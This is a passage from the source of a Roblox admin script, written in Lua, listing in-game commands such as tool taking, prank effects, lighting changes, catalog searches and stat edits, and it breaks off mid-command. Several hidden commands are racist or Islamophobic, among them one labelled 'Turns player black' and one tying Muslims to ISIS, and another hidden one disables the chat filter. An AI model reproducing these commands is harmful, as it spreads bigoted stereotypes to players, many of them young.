6994 [{"noaccessories", "noaccessory", "noacs", "nohats", "nohat"}] = {"player", "Removes player's accessories", 1, "Member", false, function(Speaker, Rank, Arguments)
6995 local Players = STRING:Scan(Arguments[1], Speaker)
6996 for _,Player in pairs(Players) do
6997 if Player.Character then
6998 for _,Obj in pairs(Player.Character:GetChildren()) do
6999 if Obj:IsA("Accoutrement") then
7000 Obj:Destroy()
7001 end
7002 end
7003 end
7004 end
7005 end};
7006
7007 [{"naked", "noclothes"}] = {"player", "Removes player's clothes and hats", 1, "Member", false, function(Speaker, Rank, Arguments)
7008 local Players = STRING:Scan(Arguments[1], Speaker)
7009 for _,Player in pairs(Players) do
7010 Player:ClearCharacterAppearance()
7011 end
7012 end};
7013
7014 [{"playerdatabase", "playerbase", "playerdatab", "playerdb", "plrdatabase", "plrdatab", "plrdb", "pdatabase", "pdatab", "pdb"}] = {"", "Database of all the players in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
7015 local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
7016 local TmpPlayers = {}
7017 local Output = {}
7018 for _,Data in pairs(Players) do
7019 table.insert(Output, {"Name: "..Data.Name.." | UserID: "..Data.UserId.." | Rank: "..Data.Rank.." | Last Joined: "..(Data.LastJoin or "Unknown").." | Account Age: "..(Data.AccountAge or "Unknown"), "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Data.Name})
7020 end
7021 GUI:ListGui(Speaker, "Player Database", Output, 120563622)
7022 end};
7023
7024 [{"clearplayerdatabase", "clearpdb", "cpdb"}] = {"", "Clears the player databse", 0, "Owner", false, function(Speaker, Rank, Arguments)
7025 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
7026 GUI:SendHint(Speaker, "Player Database cleared", 5)
7027 end};
7028
7029 [{"hack", "hax"}] = {"player", "Fake hacks player", 1, "Member", true, function(Speaker, Rank, Arguments)
7030 local Players = STRING:Scan(Arguments[1], Speaker)
7031 for _,Player in pairs(Players) do
7032 GUI:FakeHack(Player)
7033 end
7034 end};
7035
7036 [{"clonetools", "clonet"}] = {"player", "Clones player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
7037 local Players = STRING:Scan(Arguments[1], Speaker)
7038 for _,Player in pairs(Players) do
7039 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7040 for _,Object in pairs(Player.Backpack:GetChildren()) do
7041 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7042 local Clone = Object:Clone()
7043 Clone.Parent = Speaker.Backpack
7044 end
7045 end
7046 end
7047 end
7048 end};
7049
7050 [{"taketools", "taket", "tt"}] = {"player", "Clone player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
7051 local Players = STRING:Scan(Arguments[1], Speaker)
7052 for _,Player in pairs(Players) do
7053 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7054 for _,Object in pairs(Player.Backpack:GetChildren()) do
7055 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7056 Object.Parent = Speaker.Backpack
7057 end
7058 end
7059 end
7060 end
7061 end};
7062
7063 [{"givetools", "givet", "gt"}] = {"player", "Clone the speaker's tools and gives the to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7064 local Players = STRING:Scan(Arguments[1], Speaker)
7065 for _,Player in pairs(Players) do
7066 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7067 for _,Object in pairs(Speaker.Backpack:GetChildren()) do
7068 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7069 local Clone = Object:Clone()
7070 Clone.Parent = Player.Backpack
7071 end
7072 end
7073 end
7074 end
7075 end};
7076
7077 [{"notools", "notool", "cleartools", "cleantools", "ctools", "untools"}] = {"player", "Clears player's backpack", 1, "Member", false, function(Speaker, Rank, Arguments)
7078 local Players = STRING:Scan(Arguments[1], Speaker)
7079 for _,Player in pairs(Players) do
7080 if Player:FindFirstChild("Backpack") then
7081 Player.Backpack:ClearAllChildren()
7082 end
7083 if Player.Character ~= nil then
7084 for _,Obj in pairs(Player.Character:GetChildren()) do
7085 if Obj:IsA("Tool") or Obj:IsA("HopperBin") then
7086 Obj:Destroy()
7087 end
7088 end
7089 end
7090 end
7091 end};
7092
7093 [{"vomit", "puke", "throwup", "barf"}] = {"player", "Makes player vomit", 1, "Member", true, function(Speaker, Rank, Arguments)
7094 local Players = STRING:Scan(Arguments[1], Speaker)
7095 for _,Player in pairs(Players) do
7096 if Player.Character then
7097 if Player.Character:FindFirstChild("Head") then
7098 if Player.Character.Torso:FindFirstChild("Neck") and Player.Character.Head:FindFirstChild("face") then
7099 coroutine.wrap(function()
7100 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
7101 local OldFace = Player.Character.Head.face.Texture
7102 Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(math.rad(20),0,0)
7103 Player.Character.Head.BrickColor = BrickColor.new("Br. yellowish green")
7104 Player.Character.Head.face.Texture = "rbxassetid://24067663"
7105 local Sound = SOUND:MakeSound(Player.Character.Head, 142539016, 1, 0.9)
7106 Sound:Play()
7107 coroutine.wrap(function() for i = 1,100 do wait()
7108 local Part = Instance.new("Part", Player.Character) Part.BrickColor = BrickColor.new("Br. yellowish green") Part.FormFactor = "Custom" Part.Elasticity = 0.1 Part.Size = Vector3.new(0.2,0.2,0.2) Part.Position = Player.Character.Head.Position + Vector3.new(math.random(-10,10)/10, math.random(-10,10)/10, math.random(-10,10)/10)
7109 coroutine.wrap(function() wait(3) Part:Destroy() end)()
7110 end
7111 Sound:Destroy() Player.Character.Head.face.Texture = OldFace Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(-math.rad(20),0,0) pcall(function() Player.Character.Head.BrickColor = Player.Character["Body Colors"].HeadColor end) end)()
7112 end end
7113 end)()
7114 end
7115 end
7116 end
7117 end
7118 end};
7119
7120 [{"fart", "stink"}] = {"player", "Makes player fart", 1, "Member", true, function(Speaker, Rank, Arguments)
7121 local Players = STRING:Scan(Arguments[1], Speaker)
7122 for _,Player in pairs(Players) do
7123 if Player.Character then
7124 if Player.Character:FindFirstChild("Torso") and Player.Character.Head:FindFirstChild("face") then
7125 coroutine.wrap(function()
7126 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
7127 local OldFace = Player.Character.Head.face.Texture
7128 local Fart = Instance.new("Part", Player.Character.Torso) Fart.Name = "Fart" Fart.Size = Vector3.new(1,1,1) Fart.Position = Vector3.new(0,100,0) Fart.Transparency = 1
7129 local Weld = Instance.new("Weld", Fart) Weld.Part0 = Fart Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-1,-1) * CFrame.Angles(math.rad(-90),0,0)
7130 local Smoke = Instance.new("Smoke", Fart) Smoke.Name = "Fart Effect" Smoke.Color = Color3.new(70/255, 100/255, 30/255)
7131 Player.Character.Head.face.Texture = "rbxassetid://28118994"
7132 local Sound = SOUND:MakeSound(Fart, 130833677, 1, 0.8)
7133 Sound:Play()
7134 wait(1)
7135 Smoke.Enabled = false
7136 wait(1)
7137 Fart:Destroy()
7138 Fart:Destroy()
7139 Player.Character.Head.face.Texture = OldFace
7140 end end
7141 end)()
7142 end
7143 end
7144 end
7145 end};
7146
7147 [{"graffiti", "graf", "gra", "draw"}] = {"player", "Gives player a tool to do graffiti", 1, "Member", true, function(Speaker, Rank, Arguments)
7148 local Players = STRING:Scan(Arguments[1], Speaker)
7149 for _,Player in pairs(Players) do
7150 if Player:FindFirstChild("Backpack") then
7151 CORE:ExecuteResource("Graffiti", Player.Backpack, {["Color"] = GUI:GetColor()})
7152 end
7153 end
7154 end};
7155
7156 [{"cleargraffiti", "cleargraf", "cleargra", "cleardraw", "cleangraffiti", "cleangraf", "cleangra", "cleandraw", "cgraffiti", "cgraf", "cgra", "cdraw"}] = {"", "Clears any graffiti", 0, "Admin", false, function(Speaker, Rank, Arguments)
7157 local Players = STRING:Scan(Arguments[1], Speaker)
7158 for _,Player in pairs(Players) do
7159 if Player.Character and Player.Character:FindFirstChild("MMLGraffiti") then
7160 Player.Character.MMLGraffiti:ClearAllChildren()
7161 end
7162 end
7163 end};
7164
7165 [{"light", "spotlight"}] = {"player", "Makes player and a small radius around whom to light up", 1, "Member", false, function(Speaker, Rank, Arguments)
7166 local Players = STRING:Scan(Arguments[1], Speaker)
7167 for _,Player in pairs(Players) do
7168 if Player.Character and Player.Character:FindFirstChild("Torso") then
7169 local Light = Player.Character.Torso:FindFirstChild("MML Light") if Light then Light:Destroy() end
7170 Light = Instance.new("PointLight", Player.Character.Torso) Light.Name = "MML Light" Light.Range = 20 Light.Brightness = 2
7171 end
7172 end
7173 end};
7174
7175 [{"lamp", "pointlight", "headlight", "headlamp"}] = {"player", "Makes player and a small radius in from of whom to light up as if there was a head light", 1, "Member", false, function(Speaker, Rank, Arguments)
7176 local Players = STRING:Scan(Arguments[1], Speaker)
7177 for _,Player in pairs(Players) do
7178 if Player.Character and Player.Character:FindFirstChild("Torso") then
7179 local Light = Player.Character.Torso:FindFirstChild("MML Lamp") if Light then Light:Destroy() end
7180 Light = Instance.new("SpotLight", Player.Character.Torso) Light.Name = "MML Lamp" Light.Range = 30 Light.Brightness = 5
7181 end
7182 end
7183 end};
7184
7185 [{"nolight", "nolamp", "unlight", "unlamp"}] = {"player", "Removes player's light and/or lamp", 1, "Member", false, function(Speaker, Rank, Arguments)
7186 local Players = STRING:Scan(Arguments[1], Speaker)
7187 for _,Player in pairs(Players) do
7188 if Player.Character and Player.Character:FindFirstChild("Torso") then
7189 local Lights = {}
7190 for _,Obj in pairs(Player.Character.Torso:GetChildren()) do
7191 if Obj.Name == "MML Lamp" or Obj.Name == "M".."ML Light" then
7192 table.insert(Lights, Obj)
7193 end
7194 end
7195 for _,Light in pairs(Lights) do
7196 coroutine.wrap(function()
7197 for i = 1,20 do
7198 Light.Brightness = Light.Brightness/5
7199 wait()
7200 end
7201 Light:Destroy()
7202 end)()
7203 end
7204 end
7205 end
7206 end};
7207
7208 [{"drug", "lsd"}] = {"player", "Gives player the effect of being on lsd", 1, "Member", false, function(Speaker, Rank, Arguments)
7209 local Players = STRING:Scan(Arguments[1], Speaker)
7210 for _,Player in pairs(Players) do
7211 if Player.Character and Player:FindFirstChild("PlayerGui") then
7212 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
7213 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MML Drug"
7214 local Frame = Instance.new("Frame", SG) Frame.Size = UDim2.new(1,0,1,0) Frame.BackgroundTransparency = 0.5
7215 local Stop = false
7216 coroutine.wrap(function()
7217 repeat
7218 Frame.BackgroundColor3 = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
7219 wait(0.1)
7220 until not SG or not SG.Parent
7221 end)()
7222 CORE:ExecuteResource("Drug", Player.Character)
7223 end
7224 end
7225 end};
7226
7227 [{"nodrug", "nolsd", "undrug", "unlsd"}] = {"player", "Removes drug effect", 1, "Member", false, function(Speaker, Rank, Arguments)
7228 local Players = STRING:Scan(Arguments[1], Speaker)
7229 for _,Player in pairs(Players) do
7230 if Player:FindFirstChild("PlayerGui") then
7231 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
7232 wait() CORE:RestoreCamera(Player)
7233 end
7234 end
7235 end};
7236
7237 [{"searchg", "searchgear"}] = {"string", "Searches the catalog for the gear string", 1, "Member", false, function(Speaker, Rank, Arguments)
7238 local AbuseMode = false
7239 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
7240 MARKET:ShowSearch(Speaker, 5, Arguments[1], function(ID)
7241 if Speaker:FindFirstChild("Backpack") then
7242 CORE:Insert(ID, Speaker.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
7243 end
7244 end)
7245 end, Http = true};
7246
7247 [{"searchaccessory", "searchaccessories", "searchacs", "searcha", "searchhat", "searchhats", "searchh"}] = {"string(type) string(query)", "Searches the catalog for the accessory string(query) with the type of string(type)", 1, "Member", false, function(Speaker, Rank, Arguments)
7248 local Type = "all"
7249 local Query = string.lower(Arguments[1])
7250 local Arguments = STRING:GetSplit(Query, 2, Settings.Bet)
7251 if #Arguments == 2 and Assets.AccessoryTypes[Arguments[1]] then
7252 Type = Arguments[1]
7253 Query = Arguments[2]
7254 end
7255 MARKET:ShowSearch(Speaker, 11, Query, function(ID)
7256 if Speaker.Character then
7257 CORE:Insert(ID, Speaker.Character, true, {"Accoutrement"})
7258 end
7259 end, MARKET:AccessoryToSubcategory(Type))
7260 end, Http = true};
7261
7262 [{"searchp", "searchpack", "searchpackage"}] = {"string", "Searches the catalog for the package string", 1, "Member", false, function(Speaker, Rank, Arguments)
7263 MARKET:ShowSearch(Speaker, 11, Arguments[1], function(ID)
7264 if Speaker.Character then
7265 CORE:GivePackage(Speaker, ID)
7266 end
7267 end, 11)
7268 end, Http = false};
7269
7270 [{"nopackage", "nopack", "unpackage", "unpack"}] = {"player", "Removes all packages from player", 1, "Member", false, function(Speaker, Rank, Arguments)
7271 local Players = STRING:Scan(Arguments[1], Speaker)
7272 for _,Player in pairs(Players) do
7273 CORE:GivePackage(Player)
7274 end
7275 end};
7276
7277 [{"package", "pack", "morph"}] = {"player num(ID)", "Gives player the package with num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7278 local Players = STRING:Scan(Arguments[1], Speaker)
7279 for _,Player in pairs(Players) do
7280 CORE:GivePackage(Player, Arguments[2])
7281 end
7282 end, Http = false};
7283
7284 [{"change", "changestat", "changeleaderstat", "changestats", "changeleaderstats"}] = {"player string(key) value(string/num)", "Changes player's leaderstats for key(Coins, money, ext) to value", 3, "Member", false, function(Speaker, Rank, Arguments)
7285 local Players = STRING:Scan(Arguments[1], Speaker)
7286 for _,Player in pairs(Players) do
7287 local Stats = Player:FindFirstChild("leaderstats")
7288 if Stats ~= nil then
7289 for _,Stat in pairs(Stats:GetChildren()) do
7290 if string.sub(string.lower(Stat.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
7291 ypcall(function() Stat.Value = Arguments[3] end)
7292 end
7293 end
7294 end
7295 end
7296 end};
7297
7298 [{"shirt"}] = {"player num(ID)", "Changes player's shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7299 local ID = tonumber(Arguments[2])
7300 local Players = STRING:Scan(Arguments[1], Speaker)
7301 for _,Player in pairs(Players) do
7302 for _,Player in pairs(Players) do
7303 if Player.Character ~= nil then
7304 local Obj = Player.Character:FindFirstChild("Shirt")
7305 if Obj then
7306 Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7307 else
7308 Obj = Instance.new("Shirt", Player.Character) Obj.Name = "Shirt" Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7309 end
7310 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7311 end
7312 end
7313 end
7314 end};
7315
7316 [{"pants"}] = {"player num(ID)", "Changes player's pants to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7317 local ID = tonumber(Arguments[2])
7318 local Players = STRING:Scan(Arguments[1], Speaker)
7319 for _,Player in pairs(Players) do
7320 for _,Player in pairs(Players) do
7321 if Player.Character ~= nil then
7322 local Obj = Player.Character:FindFirstChild("Pants")
7323 if Obj then
7324 Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7325 else
7326 Obj = Instance.new("Pants", Player.Character) Obj.Name = "Pants" Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7327 end
7328 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7329 end
7330 end
7331 end
7332 end};
7333
7334 [{"tshirt"}] = {"player num(ID)", "Changes player's T-shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7335 local ID = tonumber(Arguments[2])
7336 local Players = STRING:Scan(Arguments[1], Speaker)
7337 for _,Player in pairs(Players) do
7338 for _,Player in pairs(Players) do
7339 if Player.Character ~= nil then
7340 if Player.Character:FindFirstChild("Torso") then
7341 local Obj1 = Player.Character:FindFirstChild("Shirt Graphic")
7342 local Obj2 = Player.Character.Torso:FindFirstChild("roblox")
7343 if Obj1 then
7344 Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7345 else
7346 Obj1 = Instance.new("ShirtGraphic", Player.Character) Obj1.Name = "Shirt Graphic" Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7347 end
7348 if Obj2 then
7349 Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID)
7350 else
7351 Obj2 = Instance.new("Decal", Player.Character.Torso) Obj2.Name = "roblox" Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID) Obj2.Face = "Front"
7352 end
7353 coroutine.wrap(function() Obj1.Parent = nil wait(0.1) Obj1.Parent = Player.Character end)()
7354 coroutine.wrap(function() Obj2.Parent = nil wait(0.2) Obj2.Parent = Player.Character.Torso end)()
7355 end
7356 end
7357 end
7358 end
7359 end};
7360
7361 [{"oder", "od", "onlinedater", "onlinedate"}] = {"player", "Changes player's character to be an online dater", 1, "Member", false, function(Speaker, Rank, Arguments)
7362 local Players = STRING:Scan(Arguments[1], Speaker)
7363 for _,Player in pairs(Players) do
7364 CORE:ChangeCharacter(Player, OderIDs[math.random(1,#OderIDs)], false, Speaker)
7365 end
7366 end};
7367
7368 [{"cookie"}] = {"player", "Gives player a cookie if the speaker is in the admin group", 1, "Member", false, function(Speaker, Rank, Arguments)
7369 if CORE:InAdminGroup(Speaker) then
7370 local Players = STRING:Scan(Arguments[1], Speaker)
7371 for _,Player in pairs(Players) do
7372 if Player:FindFirstChild("Backpack") then
7373 local Tool = Instance.new("Tool", Player.Backpack) Tool.Name = "Cookie" Tool.ToolTip = "Yey! Cookies!" Tool.GripForward = Vector3.new(0,1,0) Tool.GripPos = Vector3.new(0.1,-0.3,-0.1) Tool.GripRight = Vector3.new(0,0,-1) Tool.GripUp = Vector3.new(0.01,0,1)
7374 local Handle = Instance.new("Part", Tool) Handle.Name = "Handle" Handle.Size = Vector3.new(1,1,1)
7375 local Mesh = Instance.new("SpecialMesh", Handle) Mesh.MeshType = "FileMesh" Mesh.Scale = Vector3.new(0.4,0.4,0.4) Mesh.MeshId = "rbxassetid://20939848" Mesh.TextureId = "rbxassetid://21456464"
7376 local Anim = Instance.new("Animation", Tool) Anim.Name = "EatCookie" Anim.AnimationId = "rbxassetid://29517689"
7377 CORE:ExecuteResource("CookieTool", Tool)
7378 end
7379 end
7380 end
7381 end};
7382
7383 [{"decal", "image"}] = {"num(ID)", "Allows player to insert num(ID) as a decal", 1, "Member", false, function(Speaker, Rank, Arguments)
7384 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7385 CORE:ExecuteResource("InsertDecal", Speaker.Backpack, {["DecalID"] = MARKET:GetImageFormat(tonumber(Arguments[1]))})
7386 end
7387 end};
7388
7389 [{"insert", "model", "ins"}] = {"num(ID)", "Allows player to insert num(ID) as a model(Only works if the model is owned by the owner of the game or ROBLOX)", 1, "Member", false, function(Speaker, Rank, Arguments)
7390 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7391 local Model = CORE:Insert(tonumber(Arguments[1]), Server.RS)
7392 Model:MakeJoints()
7393 for i = 1,math.random(10,20) do
7394 Model.Name = Model.Name..string.char(math.random(97,122))
7395 end
7396 if Model:GetChildren()[1] then
7397 table.insert(Objects, Model)
7398 CORE:ExecuteResource("InsertModel", Speaker.Backpack, {["Model"] = Model})
7399 end
7400 end
7401 end};
7402
7403 [{"animate", "animation", "anim"}] = {"player num(ID)", "Animates player to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7404 local ID = tonumber(Arguments[2])
7405 local Players = STRING:Scan(Arguments[1], Speaker)
7406 for _,Player in pairs(Players) do
7407 if Player.Character then
7408 CORE:ExecuteResource("PlayAnimation", Player.Character, {["AnimationID"] = Arguments[2]})
7409 end
7410 end
7411 end};
7412
7413 [{"noanimate", "moanimation", "noanim", "unanimate", "unanimation", "unanim"}] = {"player", "Stops animations playing from the animate command", 1, "Member", false, function(Speaker, Rank, Arguments)
7414 local Players = STRING:Scan(Arguments[1], Speaker)
7415 for _,Player in pairs(Players) do
7416 if Player.Character then
7417 local StopAnim = Player.Character:FindFirstChild("Stop MML Animate")
7418 if StopAnim then StopAnim:Destroy() end
7419 end
7420 end
7421 end};
7422
7423 [{"ambient"}] = {"Color3(1) Color3(2) Color3(3)", "Changes the ambient lighting to Red - Color3(1) Green - Color3(2) Blue - Color3(3) (Out of 255)", 3, "Member", false, function(Speaker, Rank, Arguments)
7424 if tonumber(Arguments[1]) and tonumber(Arguments[2]) and tonumber(Arguments[3]) then
7425 Server.Lighting.Ambient = Color3.new(tonumber(Arguments[1])/255,tonumber(Arguments[2])/255,tonumber(Arguments[3])/255)
7426 end
7427 end};
7428
7429 [{"brightness", "bright"}] = {"num", "Changes the lighting brightness to num", 1, "Member", false, function(Speaker, Rank, Arguments)
7430 if tonumber(Arguments[1]) then
7431 Server.Lighting.Brightness = tonumber(Arguments[1])
7432 end
7433 end};
7434
7435 [{"pl", "playerlist"}] = {"player", "Enables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7436 local Players = STRING:Scan(Arguments[1], Speaker)
7437 for _,Player in pairs(Players) do
7438 GUI:CoreGui(Player, "PlayerList", true)
7439 end
7440 end};
7441
7442 [{"npl", "nopl", "unpl", "noplayerlist", "unplayerlist"}] = {"player", "Disables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7443 local Players = STRING:Scan(Arguments[1], Speaker)
7444 for _,Player in pairs(Players) do
7445 local Players = STRING:Scan(Arguments[1], Speaker)
7446 GUI:CoreGui(Player, "PlayerList", false)
7447 end
7448 end};
7449
7450 [{"bc", "tbc", "obc"}] = {"player", "What do you know, it's a real command!", 1, "Member", false, function(Speaker, Rank, Arguments)
7451 GUI:SendMessage(Speaker, "Wow, you thought this was a command", "Did you look at the comments by chance?", 5253865)
7452 end, Hidden = true};
7453
7454 [{"obama", "black", "1337"}] = {"player", "Turns player black", 1, "Member", false, function(Speaker, Rank, Arguments)
7455 local Players = STRING:Scan(Arguments[1], Speaker)
7456 for _,Player in pairs(Players) do
7457 CORE:ChangeCharacter(Player, 1337, false, Speaker)
7458 end
7459 end, Hidden = true};
7460
7461 [{"muslim", "islam", "isis"}] = {"player", "Turns player into a muslim", 1, "Member", false, function(Speaker, Rank, Arguments)
7462 local Players = STRING:Scan(Arguments[1], Speaker)
7463 for _,Player in pairs(Players) do
7464 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7465 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
7466 Player:ClearCharacterAppearance()
7467 CORE:Insert(12436480, Player.Character, true)
7468 Player.Character.Head.face.Texture = "rbxassetid://110287880"
7469 Instance.new("Shirt", Player.Character).ShirtTemplate = "rbxassetid://205596436"
7470 Instance.new("Pants", Player.Character).PantsTemplate = "rbxassetid://205596483"
7471 end
7472 end
7473 end, Hidden = true};
7474
7475 [{"noob", "noobify", "boon"}] = {"player", "Turns player into a noob", 1, "Member", false, function(Speaker, Rank, Arguments)
7476 local Players = STRING:Scan(Arguments[1], Speaker)
7477 for _,Player in pairs(Players) do
7478 CORE:ChangeCharacter(Player, 0, false, Speaker)
7479 end
7480 end};
7481
7482 [{"nofilter", "unfilter", "defilter"}] = {"", "Removes current filter", 0, "Owner", false, function(Speaker, Rank, Arguments)
7483 ShouldFilter = false
7484 end, Hidden = true};
7485
7486 [{"bet"}] = {"string", "Changes the bet to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7487 local Bet = Arguments[1]
7488 if Bet == "/" or Bet == "-" or Bet == "(" or Bet == ")" then
7489 GUI:SendMessage(Speaker, "Cannot change bet", "RED Illegal characters used to become a bet", "Error")
7490 elseif #Bet > 5 then
7491 GUI:SendMessage(Speaker, "Bet too long", "RED The bet is too long and is over 5 characters (You have "..#Bet.." characters)", "Error")
7492 else
7493 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the bet", "You are about to change the bet from '"..Settings.Bet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me, Continue?", "Question", {"Yes", "No"})
7494 if Answer == "Yes" then
7495 local OldBet = Settings.Bet
7496 CORE:ChangeBet(Bet)
7497 GUI:MessageAdmins("Bet Change", "The bet has changed from '"..OldBet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..OldBet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me")
7498 end
7499 end
7500 end};
7501
7502 [{"prefix"}] = {"string", "Changes the prefix to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7503 local Prefix = Arguments[1]
7504 if #Prefix > 5 then
7505 GUI:SendMessage(Speaker, "Prefix too long", "RED The Prefix is too long and is over 5 characters (You have "..#Prefix.." characters)", "Error")
7506 else
7507 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the Prefix", "You are about to change the Prefix from '"..Settings.Prefix.."' to '"..Prefix.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me, Continue?", "Question", {"Yes", "No"})
7508 if Answer == "Yes" then
7509 local OldPrefix = Settings.Prefix
7510 Settings.Prefix = Prefix
7511 GUI:MessageAdmins("Prefix Change", "The Prefix has changed from '"..OldPrefix.."' to '"..Prefix.."' and commands like "..OldPrefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me")
7512 end
7513 end
7514 end};
7515
7516 [{"commandbar", "cmdbar", "cbar", "commandgui", "cmdgui", "cgui", "commandbox", "cmdbox", "cbox"}] = {"", "Gives you a command bar to enter commands", 0, "Member", false, function(Speaker, Rank, Arguments)
7517 GUI:CommandBar(Speaker)
7518 end};
7519
7520 [{"permcommandbar", "permcmdbar", "permcommandgui", "permcmdgui"}] = {"", "Gives you a command bar for each time you spawn", 0, "Admin", false, function(Speaker, Rank, Arguments)
7521 GUI:CommandBar(Speaker)
7522 PermCommandBars[Speaker.Name] = true
7523 end};
7524
7525 [{"nopermcommandbar", "nopermcmdbar", "nopermcommandgui", "nopermcmdgui", "unpermcommandbar", "unpermcmdbar", "unpermcommandgui", "unpermcmdgui"}] = {"", "If you are in the perm command bar list, it takes you out(You keep command bar for current spawn)", 0, "Admin", false, function(Speaker, Rank, Arguments)
7526 PermCommandBars[Speaker.Name] = nil
7527 end};
7528
7529 [{"remotenopermcommandbar", "remotenopermcmdbar", "remotenopermcommandgui", "remotenopermcmdgui", "remoteunpermcommandbar", "remoteunpermcmdbar", "remoteunpermcommandgui", "remoteunpermcmdgui"}] = {"player", "If player is in the perm command bar list, it takes player out(player keep command bar for current spawn)", 1, "Owner", false, function(Speaker, Rank, Arguments)
7530 local Players = STRING:Scan(Arguments[1], Speaker)
7531 for _,Player in pairs(Players) do
7532 PermCommandBars[Player.Name] = nil
7533 end
7534 end};
7535
7536 [{"dummy", "newdummy", "dum", "figure"}] = {"", "Creates a dummy", 0, "Member", false, function(Speaker, Rank, Arguments)
7537 CORE:CreateFigure("Dummy", nil, true, Speaker)
7538 end};
7539
7540 [{"namedummy", "dummyname", "namenewdummy", "namedum", "dumname", "namefigure", "ndummy", "nnewdummy", "ndum", "nfigure"}] = {"string", "Creates a dummy named string", 1, "Member", false, function(Speaker, Rank, Arguments)
7541 CORE:CreateFigure(Arguments[1], nil, true, Speaker)
7542 end};
7543
7544 [{"clone", "copy"}] = {"player", "Creates clone of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7545 local Players = STRING:Scan(Arguments[1], Speaker)
7546 for _,Player in pairs(Players) do
7547 CORE:ClonePlayer(Player)
7548 end
7549 end};
7550
7551 [{"nameclone", "clonename", "namecopy", "nclone", "ncopy"}] = {"player string", "Creates clone of player named string", 2, "Member", false, function(Speaker, Rank, Arguments)
7552 local Players = STRING:Scan(Arguments[1], Speaker)
7553 for _,Player in pairs(Players) do
7554 CORE:ClonePlayer(Player, Arguments[2])
7555 end
7556 end};
7557
7558 [{"clear", "clr"}] = {"", "Clears debris in workspace left by the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
7559 for _,Obj in pairs(Objects) do
7560 if Obj then Obj:Destroy() end
7561 end
7562 for Name,Jail in pairs(Jails) do
7563 if not game.Players:FindFirstChild(Name) then
7564 Jail:Destroy()
7565 Jails[Name] = nil
7566 end
7567 end
7568 Objects = {}
7569 end};
7570
7571 [{"clean", "cln"}] = {"", "Clears debris in workspace by players", 0, "Member", false, function(Speaker, Rank, Arguments)
7572 for _,Obj in pairs(Server.Workspace:GetChildren()) do
7573 if Obj:IsA("Accoutrement") or Obj:IsA("Tool") then
7574 Obj:Destroy()
7575 end
7576 end
7577 end};
7578
7579 [{"sparkles", "sparks"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7580 local Players = STRING:Scan(Arguments[1], Speaker)
7581 for _,Player in pairs(Players) do
7582 if Player.Character and Player.Character:FindFirstChild("Torso") then
7583 local Sparkles = Instance.new("Sparkles", Player.Character.Torso) table.insert(Objects, Sparkles)
7584 end
7585 end
7586 end};
7587
7588 [{"fire"}] = {"player", "Makes player catch on fire", 1, "Member", false, function(Speaker, Rank, Arguments)
